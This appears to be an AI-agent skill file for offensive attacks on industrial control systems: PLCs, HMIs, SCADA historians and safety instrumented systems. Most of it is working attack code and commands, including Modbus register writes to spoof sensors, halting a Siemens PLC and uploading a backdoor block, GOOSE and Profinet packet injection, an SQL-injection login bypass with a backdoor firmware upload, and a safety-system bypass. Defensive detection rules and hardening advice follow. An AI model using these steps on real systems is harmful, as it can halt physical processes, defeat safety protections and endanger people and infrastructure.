| name | cps-attack |
| description | Cyber-Physical Systems (CPS) attacks — PLCs (Siemens S7, Rockwell ControlLogix, Schneider Modicon, Mitsubishi MELSEC), ICS protocols (Modbus, DNP3, Profinet, EtherNet/IP, IEC 61850, OPC UA), HMIs, SCADA historians, OT-to-IT pivot, SIS bypass. Distinct from scada-ics-security (broader ICS overview) — this skill goes deep on protocol-level PLC exploitation, packet replay/injection, and field-device firmware attacks. Covers 2024-2025 incidents (Unitronics PLC attack, Pipedream/Incontroller, multi-vendor PLC CVEs). |
| origin | kali-claw Wave 10 (v0.1.41) — 2026-06-28 |
| version | 1.0.0 |
| compatibility | {"kali_version":"2025.2","python_version":">=3.11"} |
| allowed-tools | ["nmap","wireshark","scapy","mitmproxy","python3","plcscan","redpoint","claroty","bedrock","mbpoll","plc4x","opendnp3","node-red","metasploit","gamma"] |
| metadata | {"domain":"industrial-control-systems","tool_count":15,"guide_count":2,"mitre":"TA0040-Impact, TA0008-Lateral Movement, TA0009-Collection, T0817-Drive-by Compromise, T0859-Valid Accounts, T0886-Exploitation of Remote Services, T0890-Exploitation for Privilege Escalation, T0808-Activate Firmware, T0884-Connection Proxy, T0858-Change Operating Mode"} |
Cyber-Physical Systems (CPS) Attack Skill
Red-team operations against Industrial Control Systems at the protocol and field-device level. This skill goes deep on PLC firmware, ICS protocol abuse, packet replay, and OT-to-IT pivot — distinct from the broader scada-ics-security skill which covers general ICS methodology.
Summary
Cyber-Physical Systems (CPS) bridge the digital and physical worlds: PLCs (Programmable Logic Controllers), RTUs (Remote Terminal Units), IEDs (Intelligent Electronic Devices), HMIs (Human Machine Interfaces), and the industrial protocols they speak. These systems control power grids, water treatment, oil & gas pipelines, manufacturing lines, building automation (BACnet), and increasingly vehicle infrastructure (V2X, traffic control).
The 2024-2025 threat landscape for CPS attacks is dominated by:
- Unitronics PLC attack (Nov 2023) — Iranian threat group attacked water utilities in US
- Pipedream / Incontroller (2022-2024) — purpose-built ICS malware by Sandworm
- Industroyer2 (2022-2024) — Russia's grid-attack malware, refined
- FrostyGoop (2024) — Modbus-based attack on heating systems
- HMI web server CVEs — Schneider, Rockwell, Siemens all disclosed critical RCE
- OPC UA auth bypass (CVE-2024-5464) — affects every modern SCADA system
This skill covers:
- Protocol-level PLC attacks — Modbus (no auth, no encryption), DNP3 (auth rarely enabled), Profinet, EtherNet/IP, IEC 61850 (GOOSE manipulation), OPC UA (auth bypass)
- PLC firmware exploitation — Siemens S7-1500, Rockwell ControlLogix, Schneider Modicon, Mitsubishi MELSEC
- HMI web server RCE — common pattern across all major vendors
- Engineering workstation compromise — TIA Portal, Studio 5000, EcoStruxure, GX Works
- SCADA historian abuse — bulk data exfil via ODBC
- SIS (Safety Instrumented System) bypass — the most dangerous attack vector
- OT-to-IT pivot — using OT network as bridge to corporate IT
- Vehicle infrastructure attacks — V2X, traffic signal control, EV charging
Distinct from adjacent skills:
| Skill | Scope |
|---|
scada-ics-security | General ICS methodology, recon, Nmap scripts, broad vendor coverage |
automotive-vehicle-security | In-vehicle CAN bus, OBD-II, ECUs |
embedded-rtos-security | RTOS / firmware analysis on embedded devices |
cps-attack (this) | Field-device level: PLC programming, ICS protocol injection, SIS bypass, physical-process manipulation |
Use Cases
Reconnaissance & Discovery
- Identify PLC vendor / model via passive sniffing (Profinet LLDP, CIP Identity)
- Enumerate Modbus registers via
mbpoll / plcscan
- Discover DNP3 outstations via broadcast
- Find HMI web servers via Shodan / Censys
- Map OPC UA endpoints via
GetEndpoints request
- Identify IEC 61850 IEDs via MMS enumeration
- Locate engineering workstation (TIA Portal, Studio 5000)
Initial Access
- Modbus TCP unauth — open TCP 502 with no auth (default)
- DNP3 unauth — open TCP 20000 with no auth
- HMI web RCE — CVE chain on Schneider, Rockwell, Siemens HMI
- Engineering workstation phishing — TIA Portal project file as payload
- OPC UA anon access —
GetEndpoints → enumerate → connect as anon
- Profinet device impersonation — spoof LLDP to redirect traffic
- Vendor remote support — backdoor in vendor VPN / TeamViewer
Privilege Escalation
- PLC STOP/RUN mode change — halt physical process
- PLC program download — overwrite control logic
- Firmware replacement — flash malicious firmware to PLC
- SIS force — override safety logic (catastrophic)
- HMI-to-PLC escalation — HMI credentials reused on PLC
- Engineering workstation admin — local admin via TIA Portal cache
Persistence
- Hidden function block — add stealth block to PLC program
- Backdoor HMI account — admin user on HMI web
- Persistence via OPC UA rogue server — MITM all OPC UA traffic
- SCADA historian backdoor — SQL injection in vendor app
Defense Evasion
- Force read-only mode on HMI — operators can't see changes
- Spoof sensor values — Modbus write to input registers
- Disable alarm thresholds — modify alarm config in HMI
- Time-synchronized attack — revert PLC program at exact moment to evade comparison
- PLC program obfuscation — obscure ladder logic to slow IR
Collection & Exfiltration
- Modbus register bulk read — full process state
- SCADA historian ODBC dump — years of historical data
- OPC UA bulk browse — entire tag database
- HMI screen scrape — current operator view
- Engineering workstation project file theft — full PLC program source
Impact
- PLC STOP — halt physical process; operators lose control
- Sensor spoofing + actuator override — physical damage without alarm
- Safety logic bypass — defeat SIS protection
- Operator UI freeze — show "all OK" while process runs wild
- Physical equipment damage — pump cavitation, motor burnout, pipe rupture
- Environmental release — chemical spill, water contamination
Core Tools
Field Device Targets
| Vendor | Product | Protocol | Notes |
|---|
| Siemens | S7-1200, S7-1500, S7-300 | S7comm, S7comm-Plus, Profinet | Dominant European |
| Rockwell Automation | ControlLogix, CompactLogix, MicroLogix | EtherNet/IP, CIP | Dominant US |
| Schneider Electric | Modicon M340, M580, Quantum | Modbus, Modbus Plus, EtherNet/IP | Strong in oil/gas |
| Mitsubishi | MELSEC iQ-R, iQ-F, Q-Series | MELSEC, SLMP | Strong in APAC |
| Omron | CJ, CP, NX, NJ-series | FINS, EtherCAT | Mid-tier globally |
| ABB | AC500, AC800M, AC500-eCo | Profinet, DNP3, IEC 61850 | Power utilities |
| B&R Automation | X20, ACOPOS | POWERLINK | Manufacturing |
| Beckhoff | CX, TwinCAT | EtherCAT, ADS | Discrete manufacturing |
| Wago | PFC, 750-series | Modbus, EtherNet/IP | Building automation |
| Unitronics | Vision, Samba, UniStream | Modbus, UniAPI | SMB / water |
| Yokogawa | CENTUM, STARDOM | DNP3, Modbus, Vnet | Process industries |
ICS Protocols
| Protocol | Port | Auth | Encryption | Notes |
|---|
| Modbus TCP | 502 | None | None | Universal, but trivial to abuse |
| Modbus RTU | serial | None | None | RS-485 / RS-232 |
| DNP3 | 20000 | Optional (v5+) | Optional | Power utility |
| DNP3-secure | 20000 | Yes (Aggressive Mode) | TLS | Rare in field |
| Profinet | - | None | None | Layer 2, real-time |
| Profinet DCP | - | Configurable | None | Device config |
| EtherNet/IP | 44818, 2222 | None | None | CIP over TCP/UDP |
| CIP | - | None / Class-based | None | Common Industrial Protocol |
| OPC UA | 4840 | Optional (UserToken) | Optional (TLS) | Modern, secure-by-config |
| IEC 61850 MMS | 102 | Optional | None | Substation comms |
| IEC 61850 GOOSE | - | None | None | Layer 2 multicast |
| IEC 60870-5-104 | 2404 | None | None | Power utility (Europe) |
| BACnet | 47808 | None | None | Building automation |
| LonTalk | - | None | None | Building automation |
| HART | - | None | None | Field instrument |
| FF H1 / HSE | - | None | None | Foundation Fieldbus |
| EtherCAT | 34980 | None | None | Motion control |
Offensive Toolkit
nmap -sV --script=modbus-discover,modbus-brute,enip-info,bacnet-info -p 502,44818,47808,20000,4840 10.0.0.0/24
plcscan 10.0.0.0/24
claroty-edge-cli device-list
mbpoll -m tcp -a 1 -r 0 -c 10 10.0.0.5
mbgetest -a 10.0.0.5 -r 1 -c 100
plc4x snapshot
opendnp3-demo
opcua-cli browse opc.tcp://10.0.0.5:4840
scapy
mitmproxy --mode transparent
wireshark
snap7-server
s7-client
rslinx
ethip-client
modicon-scan
opcua-cli
node-opcua
msfconsole
> use auxiliary/scanner/scada/modbusclient
> use auxiliary/scanner/scada/modbus_findunitid
> use auxiliary/admin/scada/modicon_stuxft
redpoint
mehari
cyphon
conpot
mih
Methodology
Phase 1 — Recon (OT Network Discovery)
OT networks are often air-gapped (or "air-gapped") — but rarely. Identify:
- PLC vendor + model + firmware
- HMI vendor + software version
- Engineering workstation + vendor software (TIA Portal, Studio 5000)
- SCADA historian + DB backend
- Network topology (often flat L2)
tcpdump -i eth0 -w ot.pcap
nmap -sn 10.0.0.0/24 -T1
nmap -sV --script=bacnet-info,enip-info,modbus-discover -p 502,44818,47808,20000,4840,102 10.0.0.0/24
python3 kali_cip_identity.py --target 10.0.0.5
Phase 2 — Protocol Probe
mbpoll -m tcp -a 1 -r 0 -c 100 10.0.0.5
for uid in $(seq 1 250); do
mbpoll -m tcp -a $uid -r 0 -c 1 -t 3 10.0.0.5 2>/dev/null | grep -q '\[' && echo "Unit ID $uid active"
done
nmap --script enip-info -p 44818 10.0.0.5
opcua-cli endpoints opc.tcp://10.0.0.5:4840
opcua-cli browse opc.tcp://10.0.0.5:4840 --user anon --pass ''
opendnp3-demo master --remote 10.0.0.5:20000
Phase 3 — Initial Access
Common OT initial-access vectors:
- HMI web RCE — vendor HMI ships with web admin; common RCE CVEs
- Engineering workstation phishing — TIA Portal / Studio 5000 project as lure
- Remote vendor support — TeamViewer / vendor VPN
- Modbus unauth — direct TCP 502 access
- OT-to-IT bridge — DMZ host with both network interfaces
Phase 4 — PLC Exploitation
Once inside OT network:
- PLC STOP — halt controller
- Read PLC program — ladder logic / function block
- Modify program — insert backdoor block
- Download new program — overwrite
- Force sensor values — Modbus write to inputs
Phase 5 — HMI / SCADA Compromise
- HMI web RCE → server shell
- HMI DB → SCADA historian
- HMI config → operator passwords (often cleartext)
Phase 6 — Engineering Workstation
The engineering workstation holds:
- PLC program source (full ladder logic)
- Vendor credentials for all PLCs
- HMI configuration
- Historian DB credentials
Phase 7 — SIS Bypass
Safety Instrumented Systems (SIS) protect against catastrophic failure. Attackers bypass SIS to enable physical damage.
- Force SIS logic — modify SIS PLC program
- Bypass SIS via HMI — operator override
- Spoof SIS inputs — Modbus write to SIS input registers
- SIS firmware rootkit — flash malicious SIS firmware
Phase 8 — OT-to-IT Pivot
- Engineering workstation dual-homed — both OT and IT NICs
- Historian DB link — ODBC to IT data warehouse
- Vendor remote support — pivot through vendor VPN
- DMZ jump host — often has reach into both
Practical Steps
Step A — Identify PLC via CIP Identity (EtherNet/IP)
import socket, struct
def cip_identity(ip):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, 44818))
cmd = 0x0065
length = 0
session = 0
header = struct.pack('<HHII', cmd, length, session, 0)
body = struct.pack('<II', 1, 0)
msg = header + body
s.send(msg)
r = s.recv(1024)
session = struct.unpack('<I', r[4:8])[0]
cmd = 0x0063
msg = struct.pack('<HHII', cmd, 0, session, 0)
s.send(msg)
r = s.recv(2048)
print(f'{ip}: {r!r}')
for ip in ['10.0.0.1', '10.0.0.2', '10.0.0.3']:
cip_identity(ip)
Step B — Modbus register enumeration
from pyModbusTCP.client import ModbusClient
c = ModbusClient(host='10.0.0.5', port=502)
c.open()
for uid in range(1, 248):
c.unit_id = uid
regs = c.read_holding_registers(0, 10)
if regs is not None:
print(f'Unit {uid} active: {regs}')
c.unit_id = 1
for block_start in range(0, 65536, 100):
regs = c.read_holding_registers(block_start, 100)
if regs:
non_zero = [(block_start + i, v) for i, v in enumerate(regs) if v != 0]
if non_zero:
print(f'Block {block_start}: {non_zero[:5]}')
c.write_single_register(40001, 1337)
Step C — HMI web RCE (Schneider example)
curl -sk -X POST https://hmi.example.com/api/login \
-d '{"username":"admin","password":"' OR 1=1 --"}' \
-H "Content-Type: application/json"
# Once logged in as admin:
# Upload malicious firmware via /api/firmware/upload
curl -sk -X POST https://hmi.example.com/api/firmware/upload \
-H "Authorization: Bearer $TOKEN" \
-F "file=@backdoor.bin"
Step D — PLC STOP via S7comm
from snap7.client import Client
c = Client()
c.connect('10.0.0.5', 0, 1)
state = c.get_cpu_state()
print(f'CPU state: {state}')
c.plc_stop()
print(f'After stop: {c.get_cpu_state()}')
print(c.get_plc_time())
print(c.list_blocks())
with open('backdoor_block.bin', 'rb') as f:
block_data = f.read()
c.upload(db_number=99, data=block_data)
Step E — OPC UA anon browse
opcua-cli browse opc.tcp://10.0.0.5:4840
opcua-cli endpoints opc.tcp://10.0.0.5:4840 | jq '.[] | {securityPolicyUri, securityMode}'
opcua-cli read opc.tcp://10.0.0.5:4840 --user anon \
--node "ns=2;s=ProductionData.Password"
Step F — IEC 61850 GOOSE manipulation
from scapy.all import *
load_layer('goose')
packet = (
Ether(dst='01:0c:cd:01:00:01') /
GOOSE(appID=0x0001, gooseDatSet='LD0/LLN0$dsGeneric',
gooseRef='LD0/LLN0$generic',
stNum=2, sqNum=1,
gooseData=[1])
)
sendp(packet, iface='eth0', loop=1, inter=0.001)
Step G — Profinet DCP device reset
from scapy.all import Ether, sendp
ether = Ether(dst='01:0e:cf:00:00:00') / ProfinetDCPIdentifyAll()
sendp(ether)
ether = Ether(dst='01:0e:cf:00:00:00') / ProfinetDCPReset(name='name-not-set')
sendp(ether)
Step H — Engineering workstation compromise
find / -name '*.ap14' -o -name '*.ap15' -o -name '*.ap16' -o -name '*.ap17' 2>/dev/null
find / -name '*.ac14' -o -name '*.ac15' 2>/dev/null
find / -name '*.ACD' -o -name '*.MER' 2>/dev/null
python3 kali_tia_project_parser.py --project /path/to/proj.ap17
grep -aE '(Password|PASS)' /path/to/proj.ap17 | strings | head
Step I — SCADA historian ODBC dump
nmap -p 1433,5450 scada-db.example.com
sqsh -S scada-db.example.com -U historian_user -P REPLACE_WITH_YOUR_PW
1> SELECT TOP 100 * FROM History WHERE TagName LIKE 'Temp%' ORDER BY Timestamp DESC
2> go
Step J — SIS bypass via Modbus
c = ModbusClient(host='10.0.0.50', port=502)
c.open()
c.unit_id = 1
c.write_single_register(30001, 5000)
Defense Perspective
Detection
Passive OT monitoring (preferred)
- Claroty, Dragos, Nozomi passive traffic analysis
- Zeek with industrial protocol analyzers
- Suricata with ICS ruleset
Active detection
- Nmap NSE for OT (rate-limited)
- Vendor-specific CLI (Profinet DCP scan)
Sigma rules for OT events
title: Modbus write to input register (sensor spoofing)
logsource:
product: ot
service: zeek-modbus
detection:
selection:
func: write_single_register
address|re: ^3[0-9]{4}$
condition: selection
level: critical
title: OPC UA anonymous access
logsource:
product: opcua
service: server
detection:
selection:
user: anonymous
operation|re: read|write|browse
condition: selection
level: high
title: PLC STOP from non-Engineering-Workstation
logsource:
product: ot
service: s7
detection:
selection:
pdu: plcstop
notEWS:
src|re: !^10\.0\.0\.10$
condition: selection and notEWS
level: critical
Hardening
- Purdue Model — clear separation of L0-L3 (Devices → Process Control → Supervisory → Site Ops) from L4 (Enterprise)
- DMZ jump host — single, monitored entry point
- Network segmentation — per-process VLANs; deny east-west by default
- Protocol security — DNP3-secure, OPC UA with security policy, Modbus Gateway with auth
- Engineering workstation hardening — no email, no internet, no removable media (often violated)
- PLC firmware patching — within 90 days (OT slower than IT but CVEs are critical)
- Vendor remote access —bastion host, session recording, MFA
- HMI web — disabled by default; if enabled, behind VPN
- SIS isolation — completely separate network from BPCS (Basic Process Control System)
- Continuous monitoring — passive traffic analysis for baseline deviation
Incident Response
When OT compromise suspected:
- DO NOT scan — active scanning can crash fragile PLCs
- Capture traffic — passive capture to retain evidence
- Isolate — switch port disable on suspect device; do not power off PLC
- Stop engineering workstation — unplug from network
- Switch to manual — if available, operators run process manually
- Invoke vendor — Siemens CERT, Rockwell PSIRT, Schneider CERT
- Forensics — pull HMI logs, engineering workstation image, traffic capture
- Restore — last-known-good PLC program; verify before download
- Post-mortem — Purdue Model adherence review, network architecture audit
References